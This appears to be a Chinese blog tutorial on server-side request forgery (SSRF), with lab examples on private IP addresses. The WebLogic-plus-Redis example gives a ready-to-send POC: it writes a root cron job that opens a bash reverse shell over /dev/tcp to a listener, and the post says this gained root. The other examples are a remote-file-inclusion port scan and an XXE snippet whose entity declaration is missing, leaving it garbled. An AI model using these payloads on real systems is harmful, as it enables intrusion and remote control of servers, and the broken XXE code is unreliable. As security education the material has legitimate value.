天天看点

SSRF(服务器端请求伪造)

SSRF(服务器端请求伪造),也称为XSPA(跨站端口攻击)。利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。

SSRF(服务器端请求伪造)

一般情况下,攻击者无法绕过waf向内网发送恶意请求,达到攻击目的。而SSRF的出现使得waf变得不再那么无敌。攻击者通过伪造服务器请求与内网进行交互,从而达到探测内网,对内网进行攻击的目的(与多种攻击方式相结合)。

那么哪些地方容易出现SSRF攻击呢?

1.通过URL地址分享页面

2.转码服务:通过URL地址把原地址的网页内容调优先使其适合手机屏幕浏览

3.在线翻译:通过URL地址翻译对应的文本内容。

4.图片加载与下载:通过URL地址加载或下载图片。

5.图片、文章收藏。

6.未公开的api实现以及其他调用URL的功能

下面给出几个SSRF攻击的例子:

1.SSRF+Redis

服务器:192.168.199.230;它的7001端口存在SSRF漏洞

首先要说明一下,7001端口对应着web应用服务器weblogic。当我百度weblogic的SSRF漏洞得到它的http://192.168.199.230:7001/uddiexplorer/SearchPublicRegistries.jsp页面下存在SSRF漏洞。以下为其POST请求提交的数据:btnSubmit=Search&operator=http://www3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&selfor=Business location&txtSearchfor=&txtSearchkey=&txtSearchname=

当把加粗的部分改为http://www.baidu.com的时候发现该点存在SSRF漏洞。利用burp的爆破模块结合字典对内网主机和端口进行探测(这里就省略了)。得到了172.19.0.2的6379端口开放,该端口为Redis服务;经过查询,Redis服务存在着未授权访问的漏洞。

SSRF(服务器端请求伪造)

先开启监听:nc -alnp 9999

然后通过构造下面的POC进行攻击:

operator=http://172.19.0.2:6379%2ftest

set+x+%22%5cn*+++++bash±i+%3e%26+%2fdev%2ftcp%2f192.168.199.154%2f9999+0%3e%261%5cn%22

config+set+dir+%2fvar%2fspool%2fcron%2f

config+set+dbfilename+root

save

nz&rdoSearch=name&txtSearchname=1&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

当该POST请求发送后,发现监听的机器获得了172.19.0.2这台机器的root权限。

2.文件包含+SSRF

环境:bWApp;192.168.199.162

在远程文件包含模块提交如下POST请求,并提交你想探测的主机ip

http://192.168.199.162/bWAPP/rlfi.php?language=http://192.168.199.162/evil/ssrf-1.txt&action=go

ip=192.168.199.1

SSRF(服务器端请求伪造)

然后我们发现与靶机同一网段的192.168.199.1的一些端口的开放情况就被我们所知晓。

3.XXE实体注入+SSRF

<?xml version="1.0" encoding="utf-8"?>

]>

&bWAPP;blah

SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)

继续阅读